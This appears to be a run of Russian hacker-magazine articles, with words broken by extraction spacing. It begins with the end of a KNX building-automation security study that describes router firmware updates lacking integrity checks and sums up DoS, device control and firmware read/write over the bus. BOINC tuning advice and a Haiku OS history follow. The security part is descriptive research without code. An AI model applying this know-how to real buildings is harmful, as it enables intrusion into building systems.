авто риза ции не нужен, режим прог рамми рова ния не нужен, могу менять нас ‐
трой ки — IP, мас ку, gateway». Отве та никако го нет.

ДЕСЕРТ ДЛЯ ТЕРПЕЛИВЫХ, ИЛИ ВЫХОДИМ ЗА ПРЕДЕЛЫ
ЛАБОРАТОРИИ
Скеп тики  ска жут:  вы  тес тили KNX‐сеть  у  себя  в  офи се,  в  лабора тор ных,  так
ска зать,  усло виях  и  навер няка  что‐нибудь  подс тро или  и  упрости ли.  Что бы
исклю чить  подоб ные  намеки,  нам  уда лось  догово рить ся  с 

 про тес тировать соз данный тул кит на живом объ екте, в реаль ных усло ‐
виях. Я при ехал к ним на объ ект, под клю чил ся к вык лючате лю. Пос лушал тра ‐
фик,  прос каниро вал  узлы.  И  начал  им  рас ска зывать,  какой  при мер но  data
flow, какие и сколь ко узлов у них уста нов лены. Выдал их serial/hardware num‐
ber, ска зал, какие приб лизитель но кон фигура ции залиты по узлам. Некото рое
удив ление читалось на лицах :).

од ними  товари ‐
щами

ПОД КАПОТОМ У РОУТЕРОВ
В  качес тве  допол нитель ной  информа ции  рас ска жу  тебе  о  том,  что  внут ри
у роуте ров, которые мы закупи ли для иссле дова ния.

ABB

На кар тинке выше показа но, как выг лядит сна ружи и изнутри дан ный роутер.
Сер дце и мозг тут два ATmega 128. Струк турная схе ма при мер но сле дующая:

Од на  ATmega  свя зана  с  тран сивером  шиной  KNX.  Дру гая  ATmega  отве чает
за связь по Ethernet. Обще ние про исхо дит через SRAM.

Бы ло бы стран ным не ска зать пару слов о том, как мож но обно вить про ‐
шив ку на дан ном роуте ре. Для это го надо выпол нить нес коль ко «очень слож ‐
ных» шагов:

под клю чить ся Ethernet’ом к дан ному KNX‐роуте ру;•
за пус тить фир менную ути литу ABB i‐bus IP Firmware Tool;•
выб рать нуж ную желез ку и нажать кно поч ку «Обно вить про шив ку».•

Всё. Сов сем всё:  никакой про вер ки на целос тность,  под линность и  вооб ще
чего‐либо нет.

Gira

В этом IP‐роуте ре фар ша уже поболь ше:

Есть два Ethernet + SD‐кар та для сох ранения логов. Кро ме того, исполь зует ся
ARM. И про шив ка уже выг лядит не прос то как бинарь, а  как малень кий пол ‐
ноцен ный  Linux  :).  У  которо го  ко  все му  про чему  есть  SSH  и  GDBserver.
Обновля ется про шив ка так же, как в ABB: под клю чились и залили про шив ку.
Прав да,  тут  уже  есть  «про вер ка».  Gira  поз воля ет  залить  толь ко  пос леднюю
вер сию  про шив ки.  Но  в  докумен тации  мож но  встре тить  вот  такую  «вкус ‐
няшку»:

Зна чит, у пре дыду щего поколе ния роуте ров мож но обно вить про шив ку через
twisted pair, то есть через KNX‐TP.

Siemens

Как вид но, име ется впол не при лич ная вычис литель ная мощь для такой желез ‐
ки.

Ну и естес твен но,  пара слов о  том,  как обно вить про шив ку.  Тут  все сде ‐
лано похит рее. Что бы перевес ти этот роутер в режим обновле ния про шив ки,
понадо бят ся  тан цы  с  буб ном:  вык лючить/вклю чить  устрой ство,  зажать  сер ‐
висную кноп ку, ждать, созер цая огонь ки, пока све товая инди кация не ска жет
о  том,  что  устрой ство  переш ло  в  режим  ожи дания  новой  про шив ки.  Далее
запус каем  фир менную  ути литу  от  Siemens  по  обновле нию  про шив ки
и обновля емся.

Про вер ка  про исхо дит  на  каналь ном  уров не.  :)  Хост  отпра вил  1048  байт.
Роутер шлет обратно эти же бай ты. Хост смот рит, если приш ли те же самые
бай ты — зна чит, про цесс обновле ния про шив ки идет хорошо.

Для внед рения в сеть пер воначаль но исполь зовал ся  IP‐роутер от ABB. Нам
было это го мало, мы его разоб рали, ста ли исполь зовать бинар ный тран сивер
в  связ ке  с  Teensy.  А  сей час  мы  раз рабаты ваем  пол ностью  свою  желез ку,
которая  поз волит  под клю чить ся  к  KNX‐сети  и  най ти  узлы,  у  которых  мож но
обно вить  про шив ку  со  сто роны KNX‐TP,  выдать  спи сок  узлов,  не  под держи ‐
вающих BCU‐ключ, а те, что под держи вают, — изме нить с дефол тно го на про ‐
изволь ный.

ЗАКЛЮЧЕНИЕ
Что в ито ге мы име ем в сухом остатке? Под клю чив шись в любом мес те к KNX‐
шине, мож но устро ить DoS‐ата ку как на кон крет ное устрой ство, так и на шину
целиком.  Мож но  управлять  любым  обо рудо вани ем,  которое  под клю чено
по KNX. Мож но бес пре пятс твен но про никать в дру гие сег менты сети. Читать
и  изме нять  кон фигура ции  узлов.  И  как  «вишен ка  на  тор те» —  воз можность
про читать и записать про шив ку узлов. При чем в ряде слу чаев эти узлы могут
быть под клю чены к Ethernet.

https://dsec.ru/
https://xakep.ru/2017/03/20/hack-bms/
https://library.e.abb.com/public/1bd46ee0beca4132b756c93a92c11fde/2CSC500006D0205%20-%20ABB%20KNX%20solutions%20for%20hotel%20applications.pdf
http://www.xnets.ru/plugins/content/content.php?content.242.4
http://domussapiens.ru/
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PCZONE

В 2012 году я ска чал прог рамму  , зарегис три ровал ся
в  паре  про ектов,  и  с  тех  пор  сво бод ные  вычис литель ные
ресур сы  моего  компь юте ра  потихонь ку  при носят  поль зу
общес тву.  О  том,  что  и  как  счи тают  рас пре делен но,  читай
в  статье  «Вычис ления  на  дому»  в  этом  номере,  а  здесь  я
рас ска жу о сво ем скром ном опы те и о раз ных тон костях нас ‐
трой ки и работы BOINC.

BOINC

Пос тепен но  к  бла гому  делу  под клю чились  нес коль ко  дру зей,  которые
зарегис три рова лись  с  той же  учет ной  записью. Имен но  тог да  я  понял,  нас ‐
коль ко  важ но  пра виль но  выб рать  про ект  и  нас тро ить  прог рамму:  иной  раз
маломощ ная  машина  с  каким‐нибудь  Celeron  или  Turion  вдруг  вырыва лась
в локаль ный топ, если вла делец поз волял компь юте ру работать без перебо ‐
ев.

Фраг мент таб лицы резуль татив ности компь юте ров в одном акка унте

ВЫБИРАЕМ ПРОЕКТ
Вы бирать,  какому  про екту  отдать  ресур сы  сво его  компь юте ра,  луч ше  все го
на стра нич ке  , где они пред став лены в виде таб лицы. Для каж дого про ‐
екта сра зу вид на его область иссле дова ний, орга низа торы, под держи ваемое
железо и ОС.

BOINC

За пять лет я озна комил ся с десят ками про ектов рас пре делен ных вычис ‐
лений  и  при нял  дли тель ное  учас тие  в  вось ми  из  них.  Это  астро физи чес кие
ини циати вы (theSkyNet POGS и Einstein@Home), медицин ские (POEM@Home,
Malaria  Control,  Rosetta@Home,  SIMAP@Home,  GPUGRID),  а  так же  сту ден ‐
ческая  сеть  Leiden  Classic,  в  которой  модели руют ся  раз личные  задачи
из  области  динами ки  в  обра зова тель ных  целях.  Пос ледняя  при меча тель на
тем, что любой учас тник может заг рузить в нее  .свои рас четные задания

Об щая ста тис тика учет ной записи

Вмес те  с  друзь ями  я  переп робовал  мно жес тво  про ектов  и  кон фигура ций,
пока  не  нашел  свой  опти мум.  Если  понача лу  нам  уда валось  получать  лишь
сот ню‐дру гую  тысяч  очков  в  месяц,  то  теперь  за  день  мы  лег ко  набира ем
боль ше. Мож но дос тичь еще более вну шитель ных показа телей, прос то сос ‐
редото чив шись  на  GPU‐опти мизи рован ных  про ектах,  при нося щих  мак ‐
сималь ное количес тво очков. Одна ко мы ста раем ся не гнать ся за рей тин гом,
а перек лючать ся меж ду иссле дова ниями и под держи вать раз ные.

Ди нами ка наших вычис лений в BOINC

В дан ный момент мы учас тву ем толь ко в ста биль ных и активно раз вива ющих ‐
ся  про ектах,  которые  слож но  заподоз рить  в  ком мерчес ком  исполь зовании
ресур сов. В час тнос ти, это обра бот ка сним ков с гигапик сель ной астро каме ‐
ры  (theSkyNet  POGS)  для  сос тавле ния  муль тис пек траль ного  обзо ра  неба
(под робнее  на  рус ском  см.  ),  а  так же  поиск  ради опуль саров  и  излу ‐
чаемых ими гра вита цион ных волн (Einstein@Home).

здесь

Как  офи циаль ный  сайт,  так  и  сам  кли ент  BOINC  отоб ража ет  толь ‐
ко  36  откры тых  про ектов  рас пре делен ных  вычис лений  —  самых  извес тных
и зас лужив ших хорошую репута цию. Все го же таких про ектов боль ше сот ни,
и  най ти  их  быва ет  неп росто. Мно гие  анон сиру ются  толь ко  внут ри  ака деми ‐
чес кой  сре ды,  на  каких‐то  спе циали зиро ван ных  форумах  и  не  находят
широкой под дер жки.

Сайт откры той ста тис тики   сей час показы вает дан ные по 137 про ‐
ектам на плат форме BOINC, но и это не пол ный спи сок. Нап ример, рос сий ‐
ские про екты луч ше все го искать на  .

Free‐DC

BOINC.ru

ВЫБИРАЕМ ЗАДАНИЯ
У  каж дого  про екта  есть  своя  веб‐стра ница  с  более  под робным опи сани ем.
Здесь  же  мож но  задать  инди виду аль ные  нас трой ки  рас четов.  Если  в  тво ей
учет ной записи нес коль ко компь юте ров, то их мож но рас пре делить на груп пы
(нап ример, «дом» и «работа») и задать отдель ные уста нов ки для групп.

От дель ные нас трой ки для про екта Einstein@Home

В одном про екте может быть нес коль ко заданий раз ных типов. Они отли чают ‐
ся как по сути иссле дова ний, так и по сис темным тре бова ниям. Из них разум ‐
нее выб рать те, которые эффектив нее все го счи тают ся на тво ем компь юте ре.

Вы бор при ложе ний с уско рени ем на ГП

Прос тые задания обра баты вают ся  толь ко на ЦП и огра ничи вают ся базовым
набором  команд  x86‐64.  Некото рые  име ют  спе цифи чес кую  опти миза цию
для  рас ширен ных  инс трук ций  (нап ример,  AVX)  и  выпол няют ся  на  таких  про ‐
цес сорах гораз до быс трее.

За дание с AVX‐опти миза цией

Дру гие задания под держи вают архи тек туру ARM и запус кают ся на смар тфо ‐
нах,  план шетах,  клас терах  из  Raspberry  Pi,  CubieBoard  и  про чих  подоб ных
девай сах. Еди нич ные про екты (нап ример, ЦЕР На) выпол няют ся в сво ей вир ‐
туаль ной сре де и тре буют уста нов ки  .VirtualBox

Са мые слож ные задания исполь зуют для уско рения рас четов уни вер саль ‐
ные  (шей дер ные)  про цес соры  виде окар ты —  uGPU.  Иног да  для  это го  под ‐
ходит  любая  сов ремен ная  виде окар та,  а  иног да  задание  под держи вает,
к при меру, толь ко новые чипы AMD с архи тек турой GCN или толь ко GPU Nvidia
с CUDA СС v.3.0 и новее.

BOINC как средс тво стресс‑тес тирова ния
В режиме пос тоян ной обра бот ки BOINC мож но исполь зовать для выяв ления
сбо яще го обо рудо вания. Вмес то пары часов прог рева в Prime’95 или OCCT
он будет выпол нять реаль ные задания и пос тоян но све рять пра виль ность их
решения.  Никакой  син тетичес кий  тест  не  срав нится  с  BOINC  по  эффектив ‐
ности дли тель ного монито рин га

Один из компь юте ров выпол нил задание с ошиб кой

ДЕЛАЕМ ПЕРВЫЕ ШАГИ
Кли ент BOINC для Windows мож но уста новить как при ложе ние или как сер вис.
Вто рой  вари ант  обес печива ет  задани ям  BOINC  более  ста биль ную  работу,
но  опас нее  в  пла не  потен циаль ной  угро зы  для  ОС.  Так же  BOINC,  работа ‐
ющий  как  сер вис,  не  смо жет  исполь зовать  виде окар ту  для  уско рения  рас ‐
четов. В общем, это ско рее вари ант для сер веров.

Уп рощен ный вид кли ента BOINC

Сра зу  пос ле  уста нов ки  BOINC  он  запус тится  с  дефол тны ми  нас трой ками
в упро щен ном виде. Сто ит перек лючить ся на пол ный вид через вер хнее меню
или нажав Ctrl‐Shift‐A. Тог да на отдель ных вклад ках  ты уви дишь все уве дом ‐
ления, свои про екты, активные задания, сетевую активность, локаль ную ста ‐
тис тику и исполь зование дис кового прос транс тва.

Поч ти  все  пун кты  меню  хорошо  переве дены  на  рус ский.  Они  име ют
говоря щие наз вания, но на вся кий слу чай есть и справ ка. Так что мы не будем
перечис лять оче вид ные вещи, а погово рим о более тон ких матери ях.

BAM!
На офи циаль ном сай те ста тис тики рас пре делен ных вычис лений активно рек ‐
ламиру ется  менед жер  акка унтов  BOINC  под  наз вани ем  .  Он  облегча ет
управле ние нес коль кими про екта ми и компь юте рами одновре мен но, пре дос ‐
тавляя  еди ную  стра ницу  нас тро ек.  На  ней  про ще  отсле живать  и  вно сить
изме нения, одна ко, потеряв пароль дос тупа к BAM, ты утра тишь дос туп сра зу
ко всем учет кам BOINC. В общем, это как бре лок — помога ет потерять все
клю чи одним махом.

BAM

ВРЕМЯ СОБИРАТЬ COBBLESTONES
Ес ли выделить любое задание в оче реди и нажать на кноп ку «Информа ция»,
то  ты  уви дишь  его  опи сание.  Каж дая  задача  име ет  свой  рас четный  объ ем
вычис лений — от  нес коль ких  тысяч  до мил лионов GFLOP  (мил лиар дов  опе ‐
раций с пла вающей запятой оди нар ной точ ности).

Ко личес тво  очков,  которые  начис ляют  за  выпол нение  задания,  завяза но
на эту слож ность, а сами очки называ ются Cobblestones. Нуж на эта величи на
в основном для срав нения тру дозат рат. Один Cobblestone — это экви валент
объ ема  вычис лений,  который  выпол няет  эта лон ный  про цес сор  с  про изво ‐
дитель ностью 1 гигаф лопс за 1/200 суток  (то есть 432 мил лиар да опе раций
FP32).

При  срав нимом  объ еме  вычис лений  задания  счи тают ся  с  раз ной  ско ‐
ростью.  Код  может  быть  опти мизи рован  пло хо,  и  тог да  задание  будет  при ‐
носить тебе лишь пару очков в час, тог да как дру гие — десят ки и сот ни тысяч.
Изна чаль но эти очки не име ли никакой цен ности. Они лишь отра жали отно ‐
ситель ный вклад  в общее дело и помога ли  волон терам подоб рать  задания,
которые луч ше все го рас кры вают потен циал их железа. Ситу ация изме нилась
с  появ лени ем  крип товалют  и  про ектов,  в  рам ках  которых  вып лачива ют  воз ‐
награж дение за науч ные рас четы.

Пос ле  выпол нения  нес коль ких  заданий  ты  заметишь,  что  они  счи тают ся
с раз ной эффектив ностью. Выявить сла бые мес та тебе поможет сбор и ана ‐
лиз ста тис тики рас четов. BOINC удо бен тем, что показы вает все под робнос ти
о работе каж дого узла.

Ста тис тика рас четов

Ког да запас тянет кар ман
По умол чанию BOINC работа ет толь ко в пери оды прос тоя и при оста нав лива ‐
ет  рас четы  при  каж дом  чихе  поль зовате ля.  Он  набира ет  боль шую  оче редь
заданий, льви ная доля которых не успе вает выпол нить ся до рас четно го сро ‐
ка. Вре мя дед лай на у раз ных про ектов меня ется от нес коль ких дней до двух
недель,  поэто му  запасать  их  впрок  нецеле сооб разно.  Такие  пре дус танов ки
оста лись еще с тех вре мен, ког да пос тоян ное под клю чение к интерне ту было
ред костью, да и сами сер веры про ектов час тень ко ухо дили в офлайн.

Ес ли у тебя (и у сер вера раз дачи сло нов) нет проб лем с качес твом свя зи,
то сме ло заходи в «Парамет ры → Нас трой ки кли ента» и на вклад ке «Вычис ‐
ления» в раз деле «Дру гое» умень шай зна чение пун кта «Запасать не менее xx
дней  работы».  Мож но  пос тавить  и  дроб ные  зна чения —  опти маль ные  под ‐
бира ются экспе римен таль но.

Толь ко све жие задания!

В  сво их  нас трой ках  я  задаю  в  этом  пун кте  зна чения  от  0,05  до  1,0.  Сле ‐
дующий пункт «Запасать допол нитель но» оставляю нулевым. Такие нас трой ки
эко номят мес то на дис ке и поз воля ют получать боль ше очков. Ты все вре мя
счи таешь  самые  новые  задания  и  быс тро  сда ешь  их.  За  это  начис ляют ся
бонусы — до 50% очков.

Счи тать всег да!
По опы ту знаю, что луч ше выделить BOINC фик сирован ный про цент ресур сов
ЦП  и  вклю чить  режим  пос тоян ной  обра бот ки,  чем  все  вре мя  при оста нав ‐
ливать  и  возоб новлять  рас четы  на  пол ном  ска ку.  Для  поль зовате лей  сов ‐
ремен ных  компь юте ров  фоновая  наг рузка  в  чет верть  мощ ности  про ходит
совер шенно незамет но.

Про цент ресур сов ЦП для BOINC зада ется дву мя спо соба ми: количес твом
ядер и вре менем их заг рузки. Если у тебя четырехъ ядер ный про цес сор и ты
хочешь  выделить  BOINC  одно  ядро,  то  в  сек ции  «Огра ниче ния  исполь ‐
зования» изме ни зна чение пун кта  «Исполь зовать не более % про цес соров»
на 25%. Одно ядро Core i5 — это как раз 25%.

Ес ли исполь зуешь про цес сор с дву мя ядра ми,  то ставь 50%  (одно ядро)
и в сле дующем пун кте «Исполь зовать не более % вре мени ЦП» пос тепен но
умень шай зна чение до тех пор, пока работа не ста нет ком фор тной.

У одно ядер ных про цес соров в пер вом пун кте всег да будет 100% (мень ше
одно го  ядра  выделить  нель зя),  а  вто рой  силь но  умень шает ся.  Нап ример,
на  ста ром  Celeron  ком фор тная  работа  сох ранялась  при  выделе нии  BOINC
до 15% вре мени ЦП.

По ка я пишу статьи и читаю их в бра узе ре, меня и 75% отъ еда емых ресур ‐
сов устра ивает. Ког да запус каю вир туал ки — уже нет. Для такого сме шан ного
режима  есть  нас трой ки  авто мати чес кого  поведе ния  BOINC.  В  раз деле
«Управле ние» отметь «Гра фик работы опре деля ется нас трой ками» и начинай
под бирать наибо лее удоб ные.

Нап ример, у тебя пери оди чес ки запус кают ся игры и тяжелые при ложе ния,
которые занима ют поч ти все ресур сы ЦП. Отметь пункт «При оста новить, если
исполь зование про цес сора не‐BOINC задача ми выше, %» и ука жи зна чение
от 60 до 90%.

В  основной  вклад ке  нас тро ек  «Вычис ления»  мож но  задать  при оста нов ку
любых  рас четов  или  толь ко  тех,  что  опти мизи рова ны  для  GPU,  во  вре мя
исполь зования компь юте ра. Если памяти хва тает  (от 4 Гбайт),  то на вклад ке
«Диск  и  память»  мож но  отме тить  пункт  «Оставлять  в  памяти  неак тивные
задания, которые не исполь зуют ГП» — это сок ратит вре мя их пов торной заг ‐
рузки.  Еще  можешь  умень шить  зна чение  парамет ра  «Зап рашивать  сох ‐
ранение  про межу точ ных  резуль татов…»  до  двух‐трех  минут.  Так  ты  будешь
терять мень ше про межу точ ных резуль татов при каж дом переза пус ке заданий.

Яд ра физичес кие и логичес кие
Нас тра ивать BOINC  для  работы  на  про цес соре  с  отдель ными физичес кими
ядра ми  гораз до про ще,  чем выделять ему  логичес кие  ядра,  реали зован ные
через Hyper Threading. Зависи мость одно го потока от дру гого на том же ядре
осложня ет их сов мес тную работу и порой при водит к ошиб кам в рас четах.

К при меру, если заняты от пяти до вось ми логичес ких ядер из вось ми, то
они начина ют ждать друг дру га и ско рость выпол нения каж дого задания пада ‐
ет  поч ти  вдвое.  В  таком  режиме  ты  выпол няешь  боль ше  заданий  одновре ‐
мен но,  но  выиг рыша  по  общей  про изво дитель нос ти  не  получа ешь.  Гру бо
говоря, за то вре мя, пока Core  i7 сде лает восемь заданий, Core  i5 выпол нит
две  пор ции  по  четыре.  Какой‐то  при рост  про изво дитель нос ти  от  HT  ты
заметишь толь ко в ред ких слу чаях.

В  боль шинс тве  про ектов  HT  прос то  затяги вает  вычис ления  и  тре бует
допол нитель ных  изме нений.  Проб лемы  начина ются,  если  одновре мен но
запуще ны задания для ЦП и задания с опти миза цией для выпол нения на GPU
пос редс твом OpenCL. Пос ледние обыч но исполь зуют одно ядро ЦП, но иног ‐
да наг ружа ют его не пол ностью  (на 0,01–0,976). В  таких слу чаях при ходит ся
либо  под бирать  нес тандар тное  зна чение  (нап ример,  исполь зовать  36%
ядер),  либо  вов се  отклю чать  HT  через  BIOS.  Ина че  задания  выпол няют ся
с ошиб ками.

Где мои задания?
Ес ли нес коль ко заданий под ряд выпол няют ся с ошиб кой, то сер вер про екта
вре мен но бло киру ет учет ную запись и перес тает отправ лять на нее задания.
Это не единс твен ная при чина, по которой ты можешь не получать их. Что бы
узнать, на чьей сто роне ошиб ка, оты щи на стра нич ке про екта ссыл ку на ста ‐
тус сер вера. Если он online и в оче реди есть накоп ленные задания, то смот ри
свои нас трой ки.

Те кущее сос тояние сер вера и оче реди заданий

В  пер вую  оче редь  про верь  активность  про екта,  наличие  при оста нов ленных
заданий,  объ ем  запаса емых  и  выделен ные  для  них  ресур сы.  Разоб рать ся
поможет лог кли ента BOINC, вызыва емый по Ctrl‐Shift‐E.

(НЕ)ЭФФЕКТИВНОСТЬ BOINC
Те кущее сос тояние сети BOINC мож но уви деть  . Теоре тичес кая оцен ка
ее сред ней ско рос ти рас четов сей час сос тавля ет 154,5 петаф лопс. Это боль ‐
ше, чем у двух самых мощ ных супер компь юте ров в мире — Sunway TaihuLight
(93 петаф лопс) и Tianhe‐2 (34 петаф лопс), вмес те взя тых.

здесь

Но это теория. В реаль нос ти не все прог раммис ты утружда ют себя опти ‐
миза цией кода, а поль зовате ли — нас трой кой кли ентов. Для мно гих про ектов
реаль ная  ско рость  обра бот ки  сос тавля ет  менее  10%  от  теоре тичес ки  воз ‐
можной. Вмес то нес коль ких минут они счи тают ся час‐два, по дороге выпол ‐
няя мас су бес смыс ленных опе раций.

Доб роволь цы тоже хороши. Как пишут в  , волон теры BOINC сегод ня
боль ше  отни мают  ресур сов,  чем  пре дос тавля ют  сами.  Толь ко  6–8%  поль ‐
зовате лей регуляр но выпол няют задания. Осталь ные впус тую шлют зап росы
на  сер веры  про ектов,  набира ют  десят ки  заданий  и  потом  не  выпол няют
ни одно го. Вмес то помощи науке получа ется DDoS.

Nature

На  момент  написа ния  статьи  в  BOINC  было  348  тысяч  (то  есть,  8,09%)
активных поль зовате лей. Для новых учас тни ков это озна чает быс трый и лег ‐
кий старт. На фоне тол пы без дель ников ты понача лу будешь лег ко улуч шать
свои  резуль таты  каж дый  день.  Нас тоящая  кон курен ция  нач нется  уже  в  top
500 000 или поз же.

Извес тные проб лемы BOINC
Внут ри  сооб щес тва  BOINC  сло жилась  парадок саль ная  ситу ация,  и  тому  я
вижу нес коль ко при чин:

поль зовате ли не понима ют зна чимость учас тия в рас пре делен ных вычис ‐
лени ях;

•

ос новная мас са  доб роволь цев  не может  нас тро ить BOINC  так,  что бы  он
не  мешал  обыч ной  работе,  а  задания  заг ружались  в  разум ном  объ еме
и выпол нялись в срок;

•

вла дель цы  мощ ных  компь юте ров  охот нее  май нят  крип товалю ту,  чем
выпол няют науч ные рас четы.

•

Меж ду учас тни ками доб роволь ных вычис лений и авто рами науч ных про ектов
час то лежит ква лифи каци онная про пасть, которая меша ет най ти общий язык
и почувс тво вать соп ричас тность. Прос тым людям хочет ся уви деть итог мно ‐
голет них рас четов, осоз нать свой неболь шой, но зна чимый вклад в мировую
науку. Вмес то это го они видят толь ко рас тущие сче та за элек тро энер гию.

Мно гие про екты РВ дают инте рес ные резуль таты,  но  учас тни ки  поп росту
не зна ют о них. Все дос тижения пуб лику ются в спе циали зиро ван ной литера ‐
туре,  боль шая  часть  из  которой  выходит  на  англий ском  язы ке.  Если  они
и  появ ляют ся  в  реги ональ ной  науч но‐популяр ной  печати,  то  в  силь но  иска ‐
жен ном виде.

ЭКСПЕРИМЕНТ LETUNCHIK
Вмес те с друзь ями я про бовал запус кать рас четы на самой раз ной тех нике:
домаш них и рабочих компь юте рах, мини‐сер верах, меди ацен трах, ноут буках
и смар тфо нах. BOINC — кросс‐плат формен ная шту ка и может работать прак ‐
тичес ки с чем угод но.

Для подоб ных экспе римен тов мы исполь зовали учет ную запись с веселым
наз вани ем Letunchik. Вско ре она объ еди нила в себе более двад цати  узлов.
Хоть мно гие из них не задер живались надол го, нам все рав но уда лось дос ‐
тичь некото рых замет ных резуль татов.

Мно гие  годы  основным  про ектом  для  нас  был  theSkyNet  POGS,  задания
которо го выпол няют ся на ЦП без уско рения виде окар той и дают мало очков.
Сей час мы занима ем в нем 27‐е мес то сре ди рос сий ских учас тни ков. Учет ная
запись  Letunchik  занима ет  11  491  мес то  из  4,3  мил лиона  акка унтов  BOINC
во всем мире и вхо дит в top 500 рос сий ских (376 мес то).

Мы никог да не гна лись за очка ми, устра ива ли переры вы в работе и вооб ‐
ще  вяло  под держи вали  сорев нователь ный  дух.  Тем  не  менее  даже
без фанатиз ма мы пос тепен но вош ли в 0,3% самых активных акка унтов. Наш
текущий резуль тат  луч ше,  чем  у  99,73%  учас тни ков. Все  эти  циф ры  говорят
не  о  том,  что  мы  кру то  счи таем.  Это  боль шинс тво  счи тает  еще  менее
эффектив но.

mailto:angstroem@hotbox.ru
https://boinc.berkeley.edu/
http://boinc.berkeley.edu/projects.php
http://boinc.gorlaeus.net/queue_show_queue.php
http://pogs.theskynet.org/pogs/index.php
http://stats.free-dc.org/
http://boinc.ru/
https://www.virtualbox.org/wiki/Downloads
https://boincstats.com/ru/bam/
https://boincstats.com/en/stats/-1/project/detail/
https://www.natureindex.com/news-blog/us-supercomputer-needs-more-people-power
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Что, если я ска жу тебе, что у меня есть опе раци онка с прос ‐
тым  и  удоб ным  интерфей сом,  64‐бит ной  фай ловой  сис ‐
темой,  всем  необ ходимым  для  жиз ни  соф том  и  хорошей
под дер жкой  обо рудо вания,  минималь ные  сис темные  тре ‐
бова ния которой — Pentium II с 64 Мбайт опе ратив ки? Вре мя
ее  заг рузки  сос тавля ет  при мер но  секун ду,  прог раммы
запус кают ся мол ниенос но, а архив с дис три бути вом занима ‐
ет око ло 300 Мбайт. Эта сис тема называ ется Haiku, и я опи ‐
сал лишь часть ее дос тоинств.

Haiku опре делен но одна из самых инте рес ных аль тер натив ных опе раци онок.
Это  не  оче ред ной  дис три бутив  Linux,  не  спе циали зиро ван ная  сис тема
для роуте ров или IoT, не адап тирован ный для дес кто па Android, а написан ная
с  нуля  пол ноцен ная  поль зователь ская  ОС,  осно ву  которой  ког да‐то  дав но
заложи ли быв шие инже неры Apple.

ИСТОРИЯ
На дво ре 1990 год. Windows толь ко что обно вилась до вер сии 3.0, акту аль ный
венец  тво рения  Intel  —  про цес сор  80486,  а  Стив  Джобс,  покинув  Apple,
работа ет  в  осно ван ной  им  фир ме  NeXT.  Там  соз дают  компь юте ры  на  базе
опе раци онки сле дующе го поколе ния, которая через семь лет, пос ле воз вра ‐
щения Джоб са в Apple, ляжет в осно ву сов ремен ной macOS.

Од нако  Джобс  —  не  единс твен ный  исполни тель ный  дирек тор  Apple,
который покинул ком панию, что бы заново сде лать пер сональ ный компь ютер.
Его  опыт  пов торя ет  Жан‐Луи  Гас се,  быв ший  дирек тор  фран цуз ско го  под ‐
разде ления, который сме нил Джо на Скал ли на пос ту гла вы Apple (Скал ли зна ‐
менит тем, что вытес нил Джоб са, но, как мы видим, сам в руководс тве не пре ‐
успел).

По кинув Apple, Гас се осно вал стар тап Be. Его целью было соз дать прос ‐
той  в  исполь зовании,  но  мощ ный  ПК.  И  если  с  железом  проб лем  не  воз ‐
никло —  сна чала  исполь зовались  про цес соры  AT&T  Hobbit,  затем  PowerPC
со стан дар тной обвеской, — то опе раци онку приш лось соз давать с нуля. Так
появи лась  BeOS,  неверо ятно  прод винутая  по  тем  вре менам  сис тема,
которая  уде лыва ла  тог дашние  вер сии Mac OS и Windows,  при чем  с  осо бой
гра цией — демонс три руя оше лом ляющую про изво дитель ность, отзывчи вость
и плав ность работы в любых ситу ациях.

Де сяток одновре мен но запущен ных игр — для BeOS это были пус тяки

К сожале нию, уда ча повер нулась к Гас се сов сем не тем мес том, которое он
ожи дал  уви деть,  и  компь ютер  BeBox  про валил ся,  а  за  ним  в  тря сину  стаг ‐
нации пос ледова ла BeOS. По пла нете побед но шагали IBM PC сов мести мые
компь юте ры, а план про дать ся Apple не выгорел:  там выб рали джоб сов ский
NeXT. Зарабо тать на лицен зирова нии BeOS про изво дите лям ПК у Гас се тоже
не выш ло, и мытарс тва ком пании про дол жались до 2001 года, ког да остатки
биз неса купила Palm. Там BeOS и была похоро нена окон чатель но.

Слу чись эта исто рия сегод ня,  воз можно,  ник то и  не  заметил бы  кон чины
оче ред ного стар тапа, но тог да, во вре мена Windows 95/98 и ущер бной ста ‐
рой  вер сии Mac OS,  BeOS  прос то  оча ровы вала  поль зовате лей.  Нас толь ко,
что мно гие из них орга низо вались в неболь шие груп пы и пытались улуч шать
и перепи сывать кус ки сис темы, а в 2002 году объ еди нились в про ект Open‐
BeOS, который пос тавил себе целью перепи сать BeOS с нуля.

И зна ешь что? Они ее дей стви тель но перепи сали, каж дый ком понент, каж ‐
дую биб лиоте ку, вос созда ли ори гиналь ный интерфейс и даже сде лали икон ‐
ки, при думав для них ком пак тный век торный фор мат. Alpha‐вер сия Haiku (ста ‐
рое наз вание отбро сили из‐за воз можных судеб ных исков) была опуб ликова ‐
на в 2009 году и мог ла без вся ких проб лем запус кать при ложе ния ори гиналь ‐
ной BeOS и даже исполь зовать ее драй веры. Это была поч ти  пол ная  копия
BeOS  с  фай ловой  сис темой  BFS,  иден тичным  рабочим  сто лом  и  набором
пре дус танов ленных при ложе ний.

С  тех  пор  прош ло  уже  восемь  лет,  а  Haiku  про дол жает  раз вивать ся.
Без былого энту зиаз ма, мед ленно, но вер но идет к цели релиза 1.0. От ори ‐
гиналь ной  BeOS  она  ушла  очень  далеко:  появи лась  под дер жка  USB  3.0,
сетевых  драй веров  FreeBSD,  собс твен ный  репози торий  при ложе ний
с  тысячью  пакетов,  бра узер  на  базе  сов ремен ной  вер сии WebKit,  все мыс ‐
лимые  меди ако деки  и  пор тирован ные  вер сии  мно жес тва  сво бод ных  при ‐
ложе ний (да, в Haiku есть Vim, Git, SSH, Transmission и Thunderbird).

Под робнее  о  ста рых  вре менах  ты  можешь  про честь  в  статье  «
», а мы же пос мотрим на ту Haiku, которая есть

сегод ня, и при кинем, на что год на эта необыч ная сис тема.

Ис тория
опе раци онной сис темы BeOS

СОВРЕМЕННАЯ HAIKU
Haiku  мож но  оха рак теризо вать  как  час тично  сов мести мую  с  UNIX  сис тему
на  базе  гиб ридно го  ядра,  опти мизи рован ную  для  дес кто пов.  Пос леднее
озна чает  не  толь ко  наличие  удоб ного  гра фичес кого  интерфей са,  но  и  воз ‐
можность исполь зования потоков и исполне ние при ложе ний в режиме реаль ‐
ного вре мени. В Haiku есть раз витые фрей мвор ки для работы с муль тимедиа
и  тран сля торы фай ловых фор матов:  что бы  научить  все  дос тупные для Haiku
прос мот рщи ки  при ложе ний  понимать  новый  фор мат  изоб ражений,  необ ‐
ходимо все го лишь добавить в сис тему тран сля тор.

